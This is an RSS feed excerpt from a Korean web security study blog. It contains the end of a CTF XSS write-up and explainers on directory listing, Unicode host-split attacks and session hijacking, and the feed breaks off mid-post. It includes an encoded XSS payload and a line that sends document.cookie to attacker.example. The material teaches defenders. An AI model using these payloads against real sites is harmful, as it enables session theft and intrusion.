&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1842&quot; data-origin-height=&quot;573&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRJqGh/dJMcagdA3ua/lpRaqD4aO44wWKlUKseFF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRJqGh/dJMcagdA3ua/lpRaqD4aO44wWKlUKseFF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRJqGh/dJMcagdA3ua/lpRaqD4aO44wWKlUKseFF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRJqGh%2FdJMcagdA3ua%2FlpRaqD4aO44wWKlUKseFF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;728&quot; height=&quot;226&quot; data-origin-width=&quot;1842&quot; data-origin-height=&quot;573&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;body에 url 인코딩을 한 상태로 전송하는 것을 확인할 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 페이로드를 인코딩해주면&lt;/p&gt;
&lt;pre id=&quot;code_1772694269587&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;%3C%2Fh1%3E%3Cscript%3Ethis%5B%27al%27%2B%27ert%27%5D%28%5Cu0066lag%29%3C%2Fscript%3E%3Ch1%3E&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그 획득&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1849&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/34MEC/dJMcaioWDPs/zvOCpCy6XOU36rYS86Yu4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/34MEC/dJMcaioWDPs/zvOCpCy6XOU36rYS86Yu4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/34MEC/dJMcaioWDPs/zvOCpCy6XOU36rYS86Yu4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F34MEC%2FdJMcaioWDPs%2FzvOCpCy6XOU36rYS86Yu4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;222&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1849&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Alpacahack</category>
      <category>alpacahack</category>
      <category>web</category>
      <category>webhacking</category>
      <author>y3onbug5</author>
      <guid isPermaLink="true">https://yeonbugs.tistory.com/166</guid>
      <comments>https://yeonbugs.tistory.com/166#entry166comment</comments>
      <pubDate>Thu, 5 Mar 2026 16:07:48 +0900</pubDate>
    </item>
    <item>
      <title>Directory Listing</title>
      <link>https://yeonbugs.tistory.com/165</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Directory Listing&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버가 특정 디렉터리(폴더)에 대해 기본 문서(index.html, index.php 등)을 찾지 못했을 때, 그 폴더 안에 있는 파일/하위 디렉터리 목록을 그대로 보여주는 기능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;발생원인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주된 원인은 서버 설정 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대표적으로&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당 디렉터리에 index 파일이 없음&lt;/li&gt;
&lt;li&gt;웹 서버에서 자동 인덱싱(autoindex) 기능이 켜져 있음&lt;/li&gt;
&lt;li&gt;접근 제어가 제대로 설정되지 않음&lt;/li&gt;
&lt;li&gt;개발/테스트용 디렉터리를 운영 환경에 그대로 둠&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 서버가 보여줄 메인 문서가 없으니, 대신 폴더 안 목록이라도 보여주자 라고 동작하는 것이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;어떤 서버에서 보이나&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Apache&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: Apache에서는 &lt;b&gt;Options Indexs&lt;/b&gt; 설정이 있으면 디렉터리 목록이 보일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Nginx&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: Nginx에서는 &lt;b&gt;autoindex on;&lt;/b&gt; 이 설정되어 있으면 디렉터리 목록이 노출된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 서버만의 문제가 아니라 어떤 웹 서버든 설정 실수로 발생 가능하다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;위험 수준&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Directory Listing 자체가 바로 원격 코드 실행 같은 치명점은 아닐 수 있지만, 정보 노출(Information Disclosure) 관점에서 매우 위험하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;☞ 공격자 입장에서 몰라야 할 파일과 경로를 한 번에 확인할 수 있기 때문&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. 민감 파일 발견 가능&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1520&quot; data-start=&quot;1484&quot;&gt;백업 파일: backup.zip, site.tar.gz&lt;/li&gt;
&lt;li data-end=&quot;1554&quot; data-start=&quot;1521&quot;&gt;설정 파일: config.bak, .env.old&lt;/li&gt;
&lt;li data-end=&quot;1575&quot; data-start=&quot;1555&quot;&gt;로그 파일: error.log&lt;/li&gt;
&lt;li data-end=&quot;1609&quot; data-start=&quot;1576&quot;&gt;테스트 파일: test.php, debug.txt&lt;/li&gt;
&lt;li data-end=&quot;1628&quot; data-start=&quot;1610&quot;&gt;데이터 덤프: db.sql&lt;/li&gt;
&lt;li data-end=&quot;1655&quot; data-start=&quot;1629&quot;&gt;문서 파일: admin-guide.pdf&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. 공격 표면 파악 쉬워짐&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디렉토리 구조를 보면서&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드 경로&lt;/li&gt;
&lt;li&gt;백업 위치&lt;/li&gt;
&lt;li&gt;오래된 소스 파일&lt;/li&gt;
&lt;li&gt;개발자가 남긴 파일&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 것들을 쉽게 볼 수 있고, 즉, 정찰하는 단계가 쉬워진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. 취약점 연계&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Directory Listing은 다른 공격의 출발점이 되는 경우가 많다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 스크립트 파일 발견&lt;/li&gt;
&lt;li&gt;백업 파일 다운로드&lt;/li&gt;
&lt;li&gt;업로드된 파일/디렉터리 확인&lt;/li&gt;
&lt;li&gt;DB 정보나 관리자 경로 발견&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실무 사례&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 업로드 폴더&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/uploads/&lt;/li&gt;
&lt;li&gt;/files/&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 올린 파일 목록이 그대로 노출될 수 있음&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 백업 폴더&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/backup/&lt;/li&gt;
&lt;li&gt;/old/&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영자가 예전 파일을 잠깐 올려놨다가 잊어버린 경우가 많다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 정적 파일 폴더&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/assets/&lt;/li&gt;
&lt;li&gt;/downloads/&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의도적으로 공개한 파일만 있어야 하는데, 다른 문서까지 섞여 들어가는 경우가 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 개발/테스트 경로&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/test/&lt;/li&gt;
&lt;li&gt;/dev/&lt;/li&gt;
&lt;li&gt;/temp/&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발 흔적이 운영 서버에 남아 있을 수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;점검 방법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹에서 접근 시도&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;https://target.com/uploads/&lt;/li&gt;
&lt;li&gt;https://target.com/backup/&lt;/li&gt;
&lt;li&gt;htps://target.com/images/&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Index of / ... 형태가 뜨면 directory listing 가능성이 크다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;방어방법&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 디렉터리 목록 기능 비활성화&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 기본적인 대응방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Apache&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Options -Indexs&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Nginx&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;autoindex off;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. index 파일 배치&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 폴더에 index.html 등을 둬서 목록 대신 기본 페이지가 나오게 할 수 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 접근 제어 적용&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민감한 디렉터리는 인증/인가 또는 서버 레벨 파단을 적용해야 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/backup/&lt;/li&gt;
&lt;li&gt;/admin/&lt;/li&gt;
&lt;li&gt;/internal/&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 민감 파일 웹 루트 밖으로 이동&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백업본, 설정 파일, DB 덤프는 애초에 웹에서 직접 접근 가능한 경로 밖에 둬야 한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5. 불필요한 파일 제거&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영 서버에는 테스트 파일, 덤프 파일, 임시 파일 같은 것들을 남겨두지 않는 것이 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Web Study</category>
      <category>web</category>
      <category>webhacking</category>
      <category>webstudy</category>
      <author>y3onbug5</author>
      <guid isPermaLink="true">https://yeonbugs.tistory.com/165</guid>
      <comments>https://yeonbugs.tistory.com/165#entry165comment</comments>
      <pubDate>Wed, 4 Mar 2026 21:49:44 +0900</pubDate>
    </item>
    <item>
      <title>Host Split Attack</title>
      <link>https://yeonbugs.tistory.com/164</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Host Split Attack&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 안의 호스트명(Hostname)을 처리하는 과정에서, 일부 Unicode 문자가 정규화(normalization)/IDN 처리 과정에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;. / : @ # 같은 URL 구조를 바꾸는 문자처럼 변형되면서, 프로그램이 처음 이해한 호스트의 실제 전송 이동 시점의 호스트가 달라지는 취약점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 보안 판단은 원래 문자열 기준으로 했는데, 나중에 정규화 후 URL 구조가 바뀌어 다른 도메인으로 해석된다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 말해,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;trusted.example 안의 하위 도메인이라고 믿었는데, Unicode/IDNA 변환 뒤에는 evil.example/path.trusted.example 같은 전혀 다른 구조로 바뀌어 오픈 리다이렉트 우회, OAuth 토큰 탈취, 도메인 검증 우회 같은 문제가 생길 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;발생원인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;국제화 도메인 이름(IDN) 처리이다. DNS는 실질적으로 ASCII 기반으로 동작하므로, Unicode 도메인은 IDNA 규칙에 따라 ASCII 형태(A-label, 흔히 punycode)로 바꿔서 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 과정에서 일부 구현은 IDNA2008 대신 호환성 처리를 섞거나, 정규화 전/후에 URL을 잘못 분해해서, 원래는 평범해 보이던 Unicode 문자가 구조적으로 의미 있는 문자로 변해버릴 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RFC 5891은 IDNA 프로토콜을 정의 하고, UTS #46은 호환성 처리를 제공하는데, HostSplit은 바로 이런 정규화와 URL 파싱 경계에서 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, ℀ (U+2100, ACCOUNT OF) 이 문자가 어떤 구현에서는 IDN/정규화 과정에서 a/c로 바뀔 수 있는데 그럼 원래 하나의 hostname label처럼 보이던 것이 / 를 포함하게 되어 URL의 호스트와 경로 경계가 깨진다.&lt;/p&gt;
&lt;pre id=&quot;code_1772622576602&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://canada.c℀.products.office.com/test.exe&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;애플리케이션은 이걸 보고 products.office.com 하위 도메인이라고 생각&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약한 변환 로직이 ℀ -&amp;gt; a/c 로 처리하면 최종 URL은&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1772622729145&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://canada.ca/c.products.office.com/test.exe&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;canada.c℀.products.office.com이라는 하나의 host 였던 것이&lt;/li&gt;
&lt;li&gt;canada.ca라는 다른 host와 /c.products.office.com 라는 path로 분리됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점 형태&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 오픈 리다이렉트 우회&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;허용된 도메인으로만 redirect하게 만든 로직을 우회해서, 실제로는 공격자 사이트로 보낼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 로그인 후 이동, 결제 후 복귀, SSO 리다이렉트 등에서 치명일 수 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. OAuth 토큰 탈취&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;redirect_uri 검증이 문자열상 허용 도메인 기준이면, 정규화 후 구족 바뀌며 공격자 도메인으로 토큰이나 authorization code가 전달될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;어떤 문자들이 문제가 되나&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;5144&quot; data-start=&quot;5130&quot;&gt;℀ (U+2100) ☞ /: 경로(path) 시작/구분&lt;/li&gt;
&lt;li data-end=&quot;5159&quot; data-start=&quot;5145&quot;&gt;⁈ (U+2048)&amp;nbsp;☞ ?:query 시작 / !:URL 표준 구조문자는 아니지만, 어떤 애플리케이션 로직에서는 특수 의미로 다뤄질 수 있음&lt;/li&gt;
&lt;li data-end=&quot;5183&quot; data-start=&quot;5160&quot;&gt;： (FULLWIDTH COLON) ☞ : 스킴 뒤 구분자(http:), 호스트 뒤 포트 구분자( :80 )&lt;/li&gt;
&lt;li data-end=&quot;5209&quot; data-start=&quot;5184&quot;&gt;／ (FULLWIDTH SOLIDUS) ☞ / : 경로(path) 시작/구분&lt;/li&gt;
&lt;li data-end=&quot;5239&quot; data-start=&quot;5210&quot;&gt;＃ (FULLWIDTH NUMBER SIGN) ☞ #: fragment 시작&lt;/li&gt;
&lt;li data-end=&quot;5271&quot; data-start=&quot;5240&quot;&gt;＠ (FULLWIDTH COMMERCIAL AT) ☞ @: userinfo와 host 구분&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;방어기법&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 보안 판단은 ASCII hostname 기준&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 입력에서 URL에서 host를 먼저 안전하게 분리&lt;/li&gt;
&lt;li&gt;host를 ToASCII / A-label로 정규화&lt;/li&gt;
&lt;li&gt;그 정규화된 ASCII 결과로 화이트리스트 비교&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. URL 전체를 먼저 문자열 비교하지 말 것&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 표준 URL 파서로 분해한 뒤, 정규화된 host만 비교해야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1772624446013&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;endsWith(&quot;trusted.com&quot;)		// 위험
contains(&quot;trusted.com&quot;)		// 위험&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. URL 재조립 전에 host를 별도로 검증&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검사 전에 정규화가 아닌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파싱 &amp;rarr; host 추출 &amp;rarr; host ToASCII &amp;rarr; 허용 여부 판단 &amp;rarr; 그 결과만 사용 순서로 처리&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Web Study</category>
      <category>web</category>
      <category>webhacking</category>
      <category>webstudy</category>
      <author>y3onbug5</author>
      <guid isPermaLink="true">https://yeonbugs.tistory.com/164</guid>
      <comments>https://yeonbugs.tistory.com/164#entry164comment</comments>
      <pubDate>Wed, 4 Mar 2026 20:46:21 +0900</pubDate>
    </item>
    <item>
      <title>HTTP Session Hijacking</title>
      <link>https://yeonbugs.tistory.com/163</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;HTTP Session Hijacking&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP Session Hijacking은 공격자가 다른 사용자의 유효한 세션을 탈취해서, 그 사용자로 가장하는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 애플리케이션은 보통 세션 ID를 통해 사용자 인증 상태를 유지한다.&amp;nbsp;&lt;br /&gt;이 세션ID가 노출/예측/고정/재사용되면 공격자는 피해자 비밀번호를 몰라도 로그인된 상태를 그대로 가로채서 행동할 수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Session&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP는 기본적으로 stateless이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 요청 1번과 요청 2번이 같은 사용자인지 자체적으로 기억하지 못한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 서버는 사용자가 로그인하면 서버 측에 세션 상태를 만들고, 클라이언트에게는 그 세션을 식별할 세션 식별자(session identifier)를 내려준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 값은 일반적으로 Set-Cookie 헤더를 통해 쿠키로 저장되고, 이후 브라우저가 요청할 때 다시 서버로 전송된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, 브라우저는 요청마다 대략 이런 식으로 보낸다.&lt;/p&gt;
&lt;pre id=&quot;code_1772613271799&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=abc123xyz...; Path=/; HttpOnly; Secure; SameSite=Lax&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 입장에서는 &quot;이 쿠키 값을 가진 요청 = 이미 인증된 사용자&quot; 로 판단이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 공격자가 이 값을 손에 넣으면, 사실상 인증을 우회한 것과 비슷한 효과가 난다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;주요 공격 방식&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 세션 쿠키 탈취&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 대표적인 공격 기법으로, 공격자가 피해자의 세션 쿠키를 훔치는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;XSS를 통한 쿠키 탈취&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애플리케이션에 XSS가 있으면 공격자가 피해자 브라우저에서 자바스크립트를 실행시켜 document.cookie를 읽고 외부로 전송할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1772614068216&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;new Image().src = &quot;https://attacker.example/steal?c=&quot; + document.cookie;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단, HttpOnly가 설정된 세션 쿠키는 JS로 직접 읽기 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 실무에서는 XSS가 있어도 반드시 쿠키가 바로 탈취되는 것은 아니고, 대신 세션고정, CSRF 보조, 민감 동작 대리 실행 같은 다른 방식으로 이어질 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;네트워크 스니핑 / MITM&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암호화되지 않은 HTTP 통신에서는 중간자 공격자가 세션 쿠키를 가로챌 수 있다.&lt;/p&gt;
